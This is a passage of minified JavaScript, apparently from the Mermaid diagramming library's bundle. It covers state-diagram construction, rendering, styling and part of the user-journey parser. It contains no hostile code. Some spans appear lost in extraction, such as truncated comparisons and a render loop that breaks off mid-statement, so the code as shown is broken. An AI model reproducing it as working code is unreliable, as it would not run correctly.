${QJe}`,gve=`${oy}-${KJe}`,ZJe="cluster",yve=`${oy}-${ZJe}`,JJe="cluster-alt",vve=`${oy}-${JJe}`,x$="parent",b$="note",xve="state",hC="----",bve=`${hC}${b$}`,T$=`${hC}${x$}`});function w$(t="",e=0,r="",n=hC){let i=r!==null&&r.length>0?`${n}${r}`:"";return`${xve}-${t}${i}-${e}`}function dC(t,e,r){if(!e.id||e.id===""||e.id==="")return;e.cssClasses&&(Array.isArray(e.cssCompiledStyles)||(e.cssCompiledStyles=[]),e.cssClasses.split(" ").forEach(i=>{let a=r.get(i);a&&(e.cssCompiledStyles=[...e.cssCompiledStyles??[],...a.styles])}));let n=t.find(i=>i.id===e.id);n?Object.assign(n,e):t.push(e)}function tet(t){return t?.classes?.join(" ")??""}function ret(t){return t?.styles??[]}var pC,Zf,eet,Tve,ly,kve,Eve=N(()=>{"use strict";Xt();pt();gr();fC();pC=new Map,Zf=0;o(w$,"stateDomId");eet=o((t,e,r,n,i,a,s,l)=>{X.trace("items",e),e.forEach(u=>{switch(u.stmt){case Qf:ly(t,u,r,n,i,a,s,l);break;case h0:ly(t,u,r,n,i,a,s,l);break;case E4:{ly(t,u.state1,r,n,i,a,s,l),ly(t,u.state2,r,n,i,a,s,l);let h={id:"edge"+Zf,start:u.state1.id,end:u.state2.id,arrowhead:"normal",arrowTypeEnd:"arrow_barb",style:f$,labelStyle:"",label:tt.sanitizeText(u.description??"",ge()),arrowheadStyle:d$,labelpos:"c",labelType:p$,thickness:m$,classes:v$,look:s};i.push(h),Zf++}break}})},"setupDoc"),Tve=o((t,e="TB")=>{let r=e;if(t.doc)for(let n of t.doc)n.stmt==="dir"&&(r=n.value);return r},"getDir");o(dC,"insertOrUpdateNode");o(tet,"getClassesFromDbInfo");o(ret,"getStylesFromDbInfo");ly=o((t,e,r,n,i,a,s,l)=>{let u=e.id,h=r.get(u),f=tet(h),d=ret(h),p=ge();if(X.info("dataFetcher parsedItem",e,h,d),u!=="root"){let m=cC;e.start===!0?m=uve:e.start===!1&&(m=hve),e.type!==h0&&(m=e.type),pC.get(u)||pC.set(u,{id:u,shape:m,description:tt.sanitizeText(u,p),cssClasses:`${f} ${pve}`,cssStyles:d});let g=pC.get(u);e.description&&(Array.isArray(g.description)?(g.shape=uC,g.description.push(e.description)):g.description?.length&&g.description.length>0?(g.shape=uC,g.description===u?g.description=[e.description]:g.description=[g.description,e.description]):(g.shape=cC,g.description=e.description),g.description=tt.sanitizeTextOrArray(g.description,p)),g.description?.length===1&&g.shape===uC&&(g.type==="group"?g.shape=y$:g.shape=cC),!g.type&&e.doc&&(X.info("Setting cluster for XCX",u,Tve(e)),g.type="group",g.isGroup=!0,g.dir=Tve(e),g.shape=e.type===lC?g$:y$,g.cssClasses=`${g.cssClasses} ${yve} ${a?vve:""}`);let y={labelStyle:"",shape:g.shape,label:g.description,cssClasses:g.cssClasses,cssCompiledStyles:[],cssStyles:g.cssStyles,id:u,dir:g.dir,domId:w$(u,Zf),type:g.type,isGroup:g.type==="group",padding:8,rx:10,ry:10,look:s};if(y.shape===g$&&(y.label=""),t&&t.id!=="root"&&(X.trace("Setting node ",u," to be child of its parent ",t.id),y.parentId=t.id),y.centerLabel=!0,e.note){let v={labelStyle:"",shape:fve,label:e.note.text,cssClasses:gve,cssStyles:[],cssCompiledStyles:[],id:u+bve+"-"+Zf,domId:w$(u,Zf,b$),type:g.type,isGroup:g.type==="group",padding:p.flowchart?.padding,look:s,position:e.note.position},x=u+T$,b={labelStyle:"",shape:dve,label:e.note.text,cssClasses:g.cssClasses,cssStyles:[],id:u+T$,domId:w$(u,Zf,x$),type:"group",isGroup:!0,padding:16,look:s,position:e.note.position};Zf++,b.id=x,v.parentId=x,dC(n,b,l),dC(n,v,l),dC(n,y,l);let T=u,S=v.id;e.note.position==="left of"&&(T=v.id,S=u),i.push({id:T+"-"+S,start:T,end:S,arrowhead:"none",arrowTypeEnd:"",style:f$,labelStyle:"",classes:mve,arrowheadStyle:d$,labelpos:"c",labelType:p$,thickness:m$,look:s})}else dC(n,y,l)}e.doc&&(X.trace("Adding nodes children "),eet(e,e.doc,r,n,i,!a,s,l))},"dataFetcher"),kve=o(()=>{pC.clear(),Zf=0},"reset")});var E$,net,iet,Sve,S$=N(()=>{"use strict";Xt();pt();ep();Nf();Mf();tr();fC();E$=o((t,e="TB")=>{if(!t.doc)return e;let r=e;for(let n of t.doc)n.stmt==="dir"&&(r=n.value);return r},"getDir"),net=o(function(t,e){return e.db.getClasses()},"getClasses"),iet=o(async function(t,e,r,n){X.info("REF0:"),X.info("Drawing state diagram (v2)",e);let{securityLevel:i,state:a,layout:s}=ge();n.db.extract(n.db.getRootDocV2());let l=n.db.getData(),u=Vo(e,i);l.type=n.type,l.layoutAlgorithm=s,l.nodeSpacing=a?.nodeSpacing||50,l.rankSpacing=a?.rankSpacing||50,l.markers=["barb"],l.diagramId=e,await Qo(l,u);let h=8;try{(typeof n.db.getLinks=="function"?n.db.getLinks():new Map).forEach((d,p)=>{let m=typeof p=="string"?p:typeof p?.id=="string"?p.id:"";if(!m){X.warn("\u26A0\uFE0F Invalid or missing stateId from key:",JSON.stringify(p));return}let g=u.node()?.querySelectorAll("g"),y;if(g?.forEach(T=>{T.textContent?.trim()===m&&(y=T)}),!y){X.warn("\u26A0\uFE0F Could not find node matching text:",m);return}let v=y.parentNode;if(!v){X.warn("\u26A0\uFE0F Node has no parent, cannot wrap:",m);return}let x=document.createElementNS("http://www.w3.org/2000/svg","a"),b=d.url.replace(/^"+|"+$/g,"");if(x.setAttributeNS("http://www.w3.org/1999/xlink","xlink:href",b),x.setAttribute("target","_blank"),d.tooltip){let T=d.tooltip.replace(/^"+|"+$/g,"");x.setAttribute("title",T)}v.replaceChild(x,y),x.appendChild(y),X.info("\u{1F517} Wrapped node in
    tag for:",m,d.url)})}catch(f){X.error("\u274C Error injecting clickable links:",f)}qt.insertTitle(u,"statediagramTitleText",a?.titleTopMargin??25,n.db.getDiagramTitle()),Ws(u,h,oy,a?.useMaxWidth??!0)},"draw"),Sve={getClasses:net,draw:iet,getDir:E$}});var ws,Ave,_ve,mC,al,gC=N(()=>{"use strict";Xt();pt();tr();gr();ci();Eve();S$();fC();ws={START_NODE:"[*]",START_TYPE:"start",END_NODE:"[*]",END_TYPE:"end",COLOR_KEYWORD:"color",FILL_KEYWORD:"fill",BG_FILL:"bgFill",STYLECLASS_SEP:","},Ave=o(()=>new Map,"newClassesList"),_ve=o(()=>({relations:[],states:new Map,documents:{}}),"newDoc"),mC=o(t=>JSON.parse(JSON.stringify(t)),"clone"),al=class{constructor(e){this.version=e;this.nodes=[];this.edges=[];this.rootDoc=[];this.classes=Ave();this.documents={root:_ve()};this.currentDocument=this.documents.root;this.startEndCount=0;this.dividerCnt=0;this.links=new Map;this.getAccTitle=Mr;this.setAccTitle=Rr;this.getAccDescription=Or;this.setAccDescription=Ir;this.setDiagramTitle=$r;this.getDiagramTitle=Pr;this.clear(),this.setRootDoc=this.setRootDoc.bind(this),this.getDividerId=this.getDividerId.bind(this),this.setDirection=this.setDirection.bind(this),this.trimColon=this.trimColon.bind(this)}static{o(this,"StateDB")}static{this.relationType={AGGREGATION:0,EXTENSION:1,COMPOSITION:2,DEPENDENCY:3}}extract(e){this.clear(!0);for(let i of Array.isArray(e)?e:e.doc)switch(i.stmt){case Qf:this.addState(i.id.trim(),i.type,i.doc,i.description,i.note);break;case E4:this.addRelation(i.state1,i.state2,i.description);break;case ove:this.addStyleClass(i.id.trim(),i.classes);break;case lve:this.handleStyleDef(i);break;case cve:this.setCssClass(i.id.trim(),i.styleClass);break;case"click":this.addLink(i.id,i.url,i.tooltip);break}let r=this.getStates(),n=ge();kve(),ly(void 0,this.getRootDocV2(),r,this.nodes,this.edges,!0,n.look,this.classes);for(let i of this.nodes)if(Array.isArray(i.label)){if(i.description=i.label.slice(1),i.isGroup&&i.description.length>0)throw new Error(`Group nodes can only have label. Remove the additional description for node [${i.id}]`);i.label=i.label[0]}}handleStyleDef(e){let r=e.id.trim().split(","),n=e.styleClass.split(",");for(let i of r){let a=this.getState(i);if(!a){let s=i.trim();this.addState(s),a=this.getState(s)}a&&(a.styles=n.map(s=>s.replace(/;/g,"")?.trim()))}}setRootDoc(e){X.info("Setting root doc",e),this.rootDoc=e,this.version===1?this.extract(e):this.extract(this.getRootDocV2())}docTranslator(e,r,n){if(r.stmt===E4){this.docTranslator(e,r.state1,!0),this.docTranslator(e,r.state2,!1);return}if(r.stmt===Qf&&(r.id===ws.START_NODE?(r.id=e.id+(n?"_start":"_end"),r.start=n):r.id=r.id.trim()),r.stmt!==u0&&r.stmt!==Qf||!r.doc)return;let i=[],a=[];for(let s of r.doc)if(s.type===lC){let l=mC(s);l.doc=mC(a),i.push(l),a=[]}else a.push(s);if(i.length>0&&a.length>0){let s={stmt:Qf,id:GL(),type:"divider",doc:mC(a)};i.push(mC(s)),r.doc=i}r.doc.forEach(s=>this.docTranslator(r,s,!0))}getRootDocV2(){return this.docTranslator({id:u0,stmt:u0},{id:u0,stmt:u0,doc:this.rootDoc},!0),{id:u0,doc:this.rootDoc}}addState(e,r=h0,n=void 0,i=void 0,a=void 0,s=void 0,l=void 0,u=void 0){let h=e?.trim();if(!this.currentDocument.states.has(h))X.info("Adding state ",h,i),this.currentDocument.states.set(h,{stmt:Qf,id:h,descriptions:[],type:r,doc:n,note:a,classes:[],styles:[],textStyles:[]});else{let f=this.currentDocument.states.get(h);if(!f)throw new Error(`State not found: ${h}`);f.doc||(f.doc=n),f.type||(f.type=r)}if(i&&(X.info("Setting state description",h,i),(Array.isArray(i)?i:[i]).forEach(d=>this.addDescription(h,d.trim()))),a){let f=this.currentDocument.states.get(h);if(!f)throw new Error(`State not found: ${h}`);f.note=a,f.note.text=tt.sanitizeText(f.note.text,ge())}s&&(X.info("Setting state classes",h,s),(Array.isArray(s)?s:[s]).forEach(d=>this.setCssClass(h,d.trim()))),l&&(X.info("Setting state styles",h,l),(Array.isArray(l)?l:[l]).forEach(d=>this.setStyle(h,d.trim()))),u&&(X.info("Setting state styles",h,l),(Array.isArray(u)?u:[u]).forEach(d=>this.setTextStyle(h,d.trim())))}clear(e){this.nodes=[],this.edges=[],this.documents={root:_ve()},this.currentDocument=this.documents.root,this.startEndCount=0,this.classes=Ave(),e||(this.links=new Map,Sr())}getState(e){return this.currentDocument.states.get(e)}getStates(){return this.currentDocument.states}logDocuments(){X.info("Documents = ",this.documents)}getRelations(){return this.currentDocument.relations}addLink(e,r,n){this.links.set(e,{url:r,tooltip:n}),X.warn("Adding link",e,r,n)}getLinks(){return this.links}startIdIfNeeded(e=""){return e===ws.START_NODE?(this.startEndCount++,`${ws.START_TYPE}${this.startEndCount}`):e}startTypeIfNeeded(e="",r=h0){return e===ws.START_NODE?ws.START_TYPE:r}endIdIfNeeded(e=""){return e===ws.END_NODE?(this.startEndCount++,`${ws.END_TYPE}${this.startEndCount}`):e}endTypeIfNeeded(e="",r=h0){return e===ws.END_NODE?ws.END_TYPE:r}addRelationObjs(e,r,n=""){let i=this.startIdIfNeeded(e.id.trim()),a=this.startTypeIfNeeded(e.id.trim(),e.type),s=this.startIdIfNeeded(r.id.trim()),l=this.startTypeIfNeeded(r.id.trim(),r.type);this.addState(i,a,e.doc,e.description,e.note,e.classes,e.styles,e.textStyles),this.addState(s,l,r.doc,r.description,r.note,r.classes,r.styles,r.textStyles),this.currentDocument.relations.push({id1:i,id2:s,relationTitle:tt.sanitizeText(n,ge())})}addRelation(e,r,n){if(typeof e=="object"&&typeof r=="object")this.addRelationObjs(e,r,n);else if(typeof e=="string"&&typeof r=="string"){let i=this.startIdIfNeeded(e.trim()),a=this.startTypeIfNeeded(e),s=this.endIdIfNeeded(r.trim()),l=this.endTypeIfNeeded(r);this.addState(i,a),this.addState(s,l),this.currentDocument.relations.push({id1:i,id2:s,relationTitle:n?tt.sanitizeText(n,ge()):void 0})}}addDescription(e,r){let n=this.currentDocument.states.get(e),i=r.startsWith(":")?r.replace(":","").trim():r;n?.descriptions?.push(tt.sanitizeText(i,ge()))}cleanupLabel(e){return e.startsWith(":")?e.slice(2).trim():e.trim()}getDividerId(){return this.dividerCnt++,`divider-id-${this.dividerCnt}`}addStyleClass(e,r=""){this.classes.has(e)||this.classes.set(e,{id:e,styles:[],textStyles:[]});let n=this.classes.get(e);r&&n&&r.split(ws.STYLECLASS_SEP).forEach(i=>{let a=i.replace(/([^;]*);/,"$1").trim();if(RegExp(ws.COLOR_KEYWORD).exec(i)){let l=a.replace(ws.FILL_KEYWORD,ws.BG_FILL).replace(ws.COLOR_KEYWORD,ws.FILL_KEYWORD);n.textStyles.push(l)}n.styles.push(a)})}getClasses(){return this.classes}setCssClass(e,r){e.split(",").forEach(n=>{let i=this.getState(n);if(!i){let a=n.trim();this.addState(a),i=this.getState(a)}i?.classes?.push(r)})}setStyle(e,r){this.getState(e)?.styles?.push(r)}setTextStyle(e,r){this.getState(e)?.textStyles?.push(r)}getDirectionStatement(){return this.rootDoc.find(e=>e.stmt==="dir")}getDirection(){return this.getDirectionStatement()?.value??"TB"}setDirection(e){let r=this.getDirectionStatement();r?r.value=e:this.rootDoc.unshift({stmt:"dir",value:e})}trimColon(e){return e.startsWith(":")?e.slice(1).trim():e.trim()}getData(){let e=ge();return{nodes:this.nodes,edges:this.edges,other:{},config:e,direction:E$(this.getRootDocV2())}}getConfig(){return ge().state}}});var set,yC,C$=N(()=>{"use strict";set=o(t=>` +defs #statediagram-barbEnd { + fill: ${t.transitionColor}; + stroke: ${t.transitionColor}; + } +g.stateGroup text { + fill: ${t.nodeBorder}; + stroke: none; + font-size: 10px; +} +g.stateGroup text { + fill: ${t.textColor}; + stroke: none; + font-size: 10px; + +} +g.stateGroup .state-title { + font-weight: bolder; + fill: ${t.stateLabelColor}; +} + +g.stateGroup rect { + fill: ${t.mainBkg}; + stroke: ${t.nodeBorder}; +} + +g.stateGroup line { + stroke: ${t.lineColor}; + stroke-width: 1; +} + +.transition { + stroke: ${t.transitionColor}; + stroke-width: 1; + fill: none; +} + +.stateGroup .composit { + fill: ${t.background}; + border-bottom: 1px +} + +.stateGroup .alt-composit { + fill: #e0e0e0; + border-bottom: 1px +} + +.state-note { + stroke: ${t.noteBorderColor}; + fill: ${t.noteBkgColor}; + + text { + fill: ${t.noteTextColor}; + stroke: none; + font-size: 10px; + } +} + +.stateLabel .box { + stroke: none; + stroke-width: 0; + fill: ${t.mainBkg}; + opacity: 0.5; +} + +.edgeLabel .label rect { + fill: ${t.labelBackgroundColor}; + opacity: 0.5; +} +.edgeLabel { + background-color: ${t.edgeLabelBackground}; + p { + background-color: ${t.edgeLabelBackground}; + } + rect { + opacity: 0.5; + background-color: ${t.edgeLabelBackground}; + fill: ${t.edgeLabelBackground}; + } + text-align: center; +} +.edgeLabel .label text { + fill: ${t.transitionLabelColor||t.tertiaryTextColor}; +} +.label div .edgeLabel { + color: ${t.transitionLabelColor||t.tertiaryTextColor}; +} + +.stateLabel text { + fill: ${t.stateLabelColor}; + font-size: 10px; + font-weight: bold; +} + +.node circle.state-start { + fill: ${t.specialStateColor}; + stroke: ${t.specialStateColor}; +} + +.node .fork-join { + fill: ${t.specialStateColor}; + stroke: ${t.specialStateColor}; +} + +.node circle.state-end { + fill: ${t.innerEndBackground}; + stroke: ${t.background}; + stroke-width: 1.5 +} +.end-state-inner { + fill: ${t.compositeBackground||t.background}; + // stroke: ${t.background}; + stroke-width: 1.5 +} + +.node rect { + fill: ${t.stateBkg||t.mainBkg}; + stroke: ${t.stateBorder||t.nodeBorder}; + stroke-width: 1px; +} +.node polygon { + fill: ${t.mainBkg}; + stroke: ${t.stateBorder||t.nodeBorder};; + stroke-width: 1px; +} +#statediagram-barbEnd { + fill: ${t.lineColor}; +} + +.statediagram-cluster rect { + fill: ${t.compositeTitleBackground}; + stroke: ${t.stateBorder||t.nodeBorder}; + stroke-width: 1px; +} + +.cluster-label, .nodeLabel { + color: ${t.stateLabelColor}; + // line-height: 1; +} + +.statediagram-cluster rect.outer { + rx: 5px; + ry: 5px; +} +.statediagram-state .divider { + stroke: ${t.stateBorder||t.nodeBorder}; +} + +.statediagram-state .title-state { + rx: 5px; + ry: 5px; +} +.statediagram-cluster.statediagram-cluster .inner { + fill: ${t.compositeBackground||t.background}; +} +.statediagram-cluster.statediagram-cluster-alt .inner { + fill: ${t.altBackground?t.altBackground:"#efefef"}; +} + +.statediagram-cluster .inner { + rx:0; + ry:0; +} + +.statediagram-state rect.basic { + rx: 5px; + ry: 5px; +} +.statediagram-state rect.divider { + stroke-dasharray: 10,10; + fill: ${t.altBackground?t.altBackground:"#efefef"}; +} + +.note-edge { + stroke-dasharray: 5; +} + +.statediagram-note rect { + fill: ${t.noteBkgColor}; + stroke: ${t.noteBorderColor}; + stroke-width: 1px; + rx: 0; + ry: 0; +} +.statediagram-note rect { + fill: ${t.noteBkgColor}; + stroke: ${t.noteBorderColor}; + stroke-width: 1px; + rx: 0; + ry: 0; +} + +.statediagram-note text { + fill: ${t.noteTextColor}; +} + +.statediagram-note .nodeLabel { + color: ${t.noteTextColor}; +} +.statediagram .edgeLabel { + color: red; // ${t.noteTextColor}; +} + +#dependencyStart, #dependencyEnd { + fill: ${t.lineColor}; + stroke: ${t.lineColor}; + stroke-width: 1; +} + +.statediagramTitleText { + text-anchor: middle; + font-size: 18px; + fill: ${t.textColor}; +} +`,"getStyles"),yC=set});var oet,cet,uet,het,Lve,fet,det,pet,met,A$,Dve,Rve,Nve=N(()=>{"use strict";yr();gC();tr();gr();Xt();pt();oet=o(t=>t.append("circle").attr("class","start-state").attr("r",ge().state.sizeUnit).attr("cx",ge().state.padding+ge().state.sizeUnit).attr("cy",ge().state.padding+ge().state.sizeUnit),"drawStartState"),cet=o(t=>t.append("line").style("stroke","grey").style("stroke-dasharray","3").attr("x1",ge().state.textHeight).attr("class","divider").attr("x2",ge().state.textHeight*2).attr("y1",0).attr("y2",0),"drawDivider"),uet=o((t,e)=>{let r=t.append("text").attr("x",2*ge().state.padding).attr("y",ge().state.textHeight+2*ge().state.padding).attr("font-size",ge().state.fontSize).attr("class","state-title").text(e.id),n=r.node().getBBox();return t.insert("rect",":first-child").attr("x",ge().state.padding).attr("y",ge().state.padding).attr("width",n.width+2*ge().state.padding).attr("height",n.height+2*ge().state.padding).attr("rx",ge().state.radius),r},"drawSimpleState"),het=o((t,e)=>{let r=o(function(p,m,g){let y=p.append("tspan").attr("x",2*ge().state.padding).text(m);g||y.attr("dy",ge().state.textHeight)},"addTspan"),i=t.append("text").attr("x",2*ge().state.padding).attr("y",ge().state.textHeight+1.3*ge().state.padding).attr("font-size",ge().state.fontSize).attr("class","state-title").text(e.descriptions[0]).node().getBBox(),a=i.height,s=t.append("text").attr("x",ge().state.padding).attr("y",a+ge().state.padding*.4+ge().state.dividerMargin+ge().state.textHeight).attr("class","state-description"),l=!0,u=!0;e.descriptions.forEach(function(p){l||(r(s,p,u),u=!1),l=!1});let h=t.append("line").attr("x1",ge().state.padding).attr("y1",ge().state.padding+a+ge().state.dividerMargin/2).attr("y2",ge().state.padding+a+ge().state.dividerMargin/2).attr("class","descr-divider"),f=s.node().getBBox(),d=Math.max(f.width,i.width);return h.attr("x2",d+3*ge().state.padding),t.insert("rect",":first-child").attr("x",ge().state.padding).attr("y",ge().state.padding).attr("width",d+2*ge().state.padding).attr("height",f.height+a+2*ge().state.padding).attr("rx",ge().state.radius),t},"drawDescrState"),Lve=o((t,e,r)=>{let n=ge().state.padding,i=2*ge().state.padding,a=t.node().getBBox(),s=a.width,l=a.x,u=t.append("text").attr("x",0).attr("y",ge().state.titleShift).attr("font-size",ge().state.fontSize).attr("class","state-title").text(e.id),f=u.node().getBBox().width+i,d=Math.max(f,s);d===s&&(d=d+i);let p,m=t.node().getBBox();e.doc,p=l-n,f>s&&(p=(s-d)/2+n),Math.abs(l-m.x)s&&(p=l-(f-s)/2);let g=1-ge().state.textHeight;return t.insert("rect",":first-child").attr("x",p).attr("y",g).attr("class",r?"alt-composit":"composit").attr("width",d).attr("height",m.height+ge().state.textHeight+ge().state.titleShift+1).attr("rx","0"),u.attr("x",p+n),f<=s&&u.attr("x",l+(d-i)/2-f/2+n),t.insert("rect",":first-child").attr("x",p).attr("y",ge().state.titleShift-ge().state.textHeight-ge().state.padding).attr("width",d).attr("height",ge().state.textHeight*3).attr("rx",ge().state.radius),t.insert("rect",":first-child").attr("x",p).attr("y",ge().state.titleShift-ge().state.textHeight-ge().state.padding).attr("width",d).attr("height",m.height+3+2*ge().state.textHeight).attr("rx",ge().state.radius),t},"addTitleAndBox"),fet=o(t=>(t.append("circle").attr("class","end-state-outer").attr("r",ge().state.sizeUnit+ge().state.miniPadding).attr("cx",ge().state.padding+ge().state.sizeUnit+ge().state.miniPadding).attr("cy",ge().state.padding+ge().state.sizeUnit+ge().state.miniPadding),t.append("circle").attr("class","end-state-inner").attr("r",ge().state.sizeUnit).attr("cx",ge().state.padding+ge().state.sizeUnit+2).attr("cy",ge().state.padding+ge().state.sizeUnit+2)),"drawEndState"),det=o((t,e)=>{let r=ge().state.forkWidth,n=ge().state.forkHeight;if(e.parentId){let i=r;r=n,n=i}return t.append("rect").style("stroke","black").style("fill","black").attr("width",r).attr("height",n).attr("x",ge().state.padding).attr("y",ge().state.padding)},"drawForkJoinState"),pet=o((t,e,r,n)=>{let i=0,a=n.append("text");a.style("text-anchor","start"),a.attr("class","noteText");let s=t.replace(/\r\n/g,"
    ");s=s.replace(/\n/g,"
    ");let l=s.split(tt.lineBreakRegex),u=1.25*ge().state.noteMargin;for(let h of l){let f=h.trim();if(f.length>0){let d=a.append("tspan");if(d.text(f),u===0){let p=d.node().getBBox();u+=p.height}i+=u,d.attr("x",e+ge().state.noteMargin),d.attr("y",r+i+1.25*ge().state.noteMargin)}}return{textWidth:a.node().getBBox().width,textHeight:i}},"_drawLongText"),met=o((t,e)=>{e.attr("class","state-note");let r=e.append("rect").attr("x",0).attr("y",ge().state.padding),n=e.append("g"),{textWidth:i,textHeight:a}=pet(t,0,0,n);return r.attr("height",a+2*ge().state.noteMargin),r.attr("width",i+ge().state.noteMargin*2),r},"drawNote"),A$=o(function(t,e){let r=e.id,n={id:r,label:e.id,width:0,height:0},i=t.append("g").attr("id",r).attr("class","stateGroup");e.type==="start"&&oet(i),e.type==="end"&&fet(i),(e.type==="fork"||e.type==="join")&&det(i,e),e.type==="note"&&met(e.note.text,i),e.type==="divider"&&cet(i),e.type==="default"&&e.descriptions.length===0&&uet(i,e),e.type==="default"&&e.descriptions.length>0&&het(i,e);let a=i.node().getBBox();return n.width=a.width+2*ge().state.padding,n.height=a.height+2*ge().state.padding,n},"drawState"),Dve=0,Rve=o(function(t,e,r){let n=o(function(u){switch(u){case al.relationType.AGGREGATION:return"aggregation";case al.relationType.EXTENSION:return"extension";case al.relationType.COMPOSITION:return"composition";case al.relationType.DEPENDENCY:return"dependency"}},"getRelationType");e.points=e.points.filter(u=>!Number.isNaN(u.y));let i=e.points,a=Cl().x(function(u){return u.x}).y(function(u){return u.y}).curve(No),s=t.append("path").attr("d",a(i)).attr("id","edge"+Dve).attr("class","transition"),l="";if(ge().state.arrowMarkerAbsolute&&(l=md(!0)),s.attr("marker-end","url("+l+"#"+n(al.relationType.DEPENDENCY)+"End)"),r.title!==void 0){let u=t.append("g").attr("class","stateLabel"),{x:h,y:f}=qt.calcLabelPosition(e.points),d=tt.getRows(r.title),p=0,m=[],g=0,y=0;for(let b=0;b<=d.length;b++){let T=u.append("text").attr("text-anchor","middle").text(d[b]).attr("x",h).attr("y",f+p),S=T.node().getBBox();g=Math.max(g,S.width),y=Math.min(y,S.x),X.info(S.x,h,f+p),p===0&&(p=T.node().getBBox().height,X.info("Title height",p,f)),m.push(T)}let v=p*d.length;if(d.length>1){let b=(d.length-1)*p*.5;m.forEach((T,S)=>T.attr("y",f+S*p-b)),v=p*d.length}let x=u.node().getBBox();u.insert("rect",":first-child").attr("class","box").attr("x",h-g/2-ge().state.padding/2).attr("y",f-v/2-ge().state.padding/2-3.5).attr("width",g+ge().state.padding).attr("height",v+ge().state.padding),X.info(x)}Dve++},"drawEdge")});var bo,_$,get,yet,vet,xet,Mve,Ive,Ove=N(()=>{"use strict";yr();hN();qo();pt();gr();Nve();Xt();Ei();_$={},get=o(function(){},"setConf"),yet=o(function(t){t.append("defs").append("marker").attr("id","dependencyEnd").attr("refX",19).attr("refY",7).attr("markerWidth",20).attr("markerHeight",28).attr("orient","auto").append("path").attr("d","M 19,7 L9,13 L14,7 L9,1 Z")},"insertMarkers"),vet=o(function(t,e,r,n){bo=ge().state;let i=ge().securityLevel,a;i==="sandbox"&&(a=qe("#i"+e));let s=i==="sandbox"?qe(a.nodes()[0].contentDocument.body):qe("body"),l=i==="sandbox"?a.nodes()[0].contentDocument:document;X.debug("Rendering diagram "+t);let u=s.select(`[id='${e}']`);yet(u);let h=n.db.getRootDoc();Mve(h,u,void 0,!1,s,l,n);let f=bo.padding,d=u.node().getBBox(),p=d.width+f*2,m=d.height+f*2,g=p*1.75;mn(u,m,g,bo.useMaxWidth),u.attr("viewBox",`${d.x-bo.padding} ${d.y-bo.padding} `+p+" "+m)},"draw"),xet=o(t=>t?t.length*bo.fontSizeFactor:1,"getLabelWidth"),Mve=o((t,e,r,n,i,a,s)=>{let l=new cn({compound:!0,multigraph:!0}),u,h=!0;for(u=0;u{let w=S.parentElement,k=0,A=0;w&&(w.parentElement&&(k=w.parentElement.getBBox().width),A=parseInt(w.getAttribute("data-x-shift"),10),Number.isNaN(A)&&(A=0)),S.setAttribute("x1",0-A+8),S.setAttribute("x2",k-A-8)})):X.debug("No Node "+b+": "+JSON.stringify(l.node(b)))});let v=y.getBBox();l.edges().forEach(function(b){b!==void 0&&l.edge(b)!==void 0&&(X.debug("Edge "+b.v+" -> "+b.w+": "+JSON.stringify(l.edge(b))),Rve(e,l.edge(b),l.edge(b).relation))}),v=y.getBBox();let x={id:r||"root",label:r||"root",width:0,height:0};return x.width=v.width+2*bo.padding,x.height=v.height+2*bo.padding,X.debug("Doc rendered",x,l),x},"renderDoc"),Ive={setConf:get,draw:vet}});var Pve={};dr(Pve,{diagram:()=>bet});var bet,Bve=N(()=>{"use strict";h$();gC();C$();Ove();bet={parser:oC,get db(){return new al(1)},renderer:Ive,styles:yC,init:o(t=>{t.state||(t.state={}),t.state.arrowMarkerAbsolute=t.arrowMarkerAbsolute},"init")}});var zve={};dr(zve,{diagram:()=>Eet});var Eet,Gve=N(()=>{"use strict";h$();gC();C$();S$();Eet={parser:oC,get db(){return new al(2)},renderer:Sve,styles:yC,init:o(t=>{t.state||(t.state={}),t.state.arrowMarkerAbsolute=t.arrowMarkerAbsolute},"init")}});var D$,Hve,qve=N(()=>{"use strict";D$=(function(){var t=o(function(d,p,m,g){for(m=m||{},g=d.length;g--;m[d[g]]=p);return m},"o"),e=[6,8,10,11,12,14,16,17,18],r=[1,9],n=[1,10],i=[1,11],a=[1,12],s=[1,13],l=[1,14],u={trace:o(function(){},"trace"),yy:{},symbols_:{error:2,start:3,journey:4,document:5,EOF:6,line:7,SPACE:8,statement:9,NEWLINE:10,title:11,acc_title:12,acc_title_value:13,acc_descr:14,acc_descr_value:15,acc_descr_multiline_value:16,section:17,taskName:18,taskData:19,$accept:0,$end:1},terminals_:{2:"error",4:"journey",6:"EOF",8:"SPACE",10:"NEWLINE",11:"title",12:"acc_title",13:"acc_title_value",14:"acc_descr",15:"acc_descr_value",16:"acc_descr_multiline_value",17:"section",18:"taskName",19:"taskData"},productions_:[0,[3,3],[5,0],[5,2],[7,2],[7,1],[7,1],[7,1],[9,1],[9,2],[9,2],[9,1],[9,1],[9,2]],performAction:o(function(p,m,g,y,v,x,b){var T=x.length-1;switch(v){case 1:return x[T-1];case 2:this.$=[];break;case 3:x[T-1].push(x[T]),this.$=x[T-1];break;case 4:case 5:this.$=x[T];break;case 6:case 7:this.$=[];break;case 8:y.setDiagramTitle(x[T].substr(6)),this.$=x[T].substr(6);break;case 9:this.$=x[T].trim(),y.setAccTitle(this.$);break;case 10:case 11:this.$=x[T].trim(),y.setAccDescription(this.$);break;case 12:y.addSection(x[T].substr(8)),this.$=x[T].substr(8);break;case 13:y.addTask(x[T-1],x[T]),this.$="task";break}},"anonymous"),table:[{3:1,4:[1,2]},{1:[3]},t(e,[2,2],{5:3}),{6:[1,4],7:5,8:[1,6],9:7,10:[1,8],11:r,12:n,14:i,16:a,17:s,18:l},t(e,[2,7],{1:[2,1]}),t(e,[2,3]),{9:15,11:r,12:n,14:i,16:a,17:s,18:l},t(e,[2,5]),t(e,[2,6]),t(e,[2,8]),{13:[1,16]},{15:[1,17]},t(e,[2,11]),t(e,[2,12]),{19:[1,18]},t(e,[2,4]),t(e,[2,9]),t(e,[2,10]),t(e,[2,13])],defaultActions:{},parseError:o(function(p,m){if(m.recoverable)this.trace(p);else{var g=new Error(p);throw g.hash=m,g}},"parseError"),parse:o(function(p){var m=this,g=[0],y=[],v=[null],x=[],b=this.table,T="",S=0,w=0,k=0,A=2,C=1,R=x.slice.call(arguments,1),I=Object.create(this.lexer),L={yy:{}};for(var E in this.yy)Object.prototype.hasOwnProperty.call(this.yy,E)&&(L.yy[E]=this.yy[E]);I.setInput(p,L.yy),L.yy.lexer=I,L.yy.parser=this,typeof I.yylloc>"u"&&(I.yylloc={});var D=I.yylloc;x.push(D);var _=I.options&&I.options.ranges;typeof L.yy.parseError=="function"?this.parseError=L.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;function O(re){g.length=g.length-2*re,v.length=v.length-re,x.length=x.length-re}o(O,"popStack");function M(){var re;return re=y.pop()||I.lex()||C,typeof 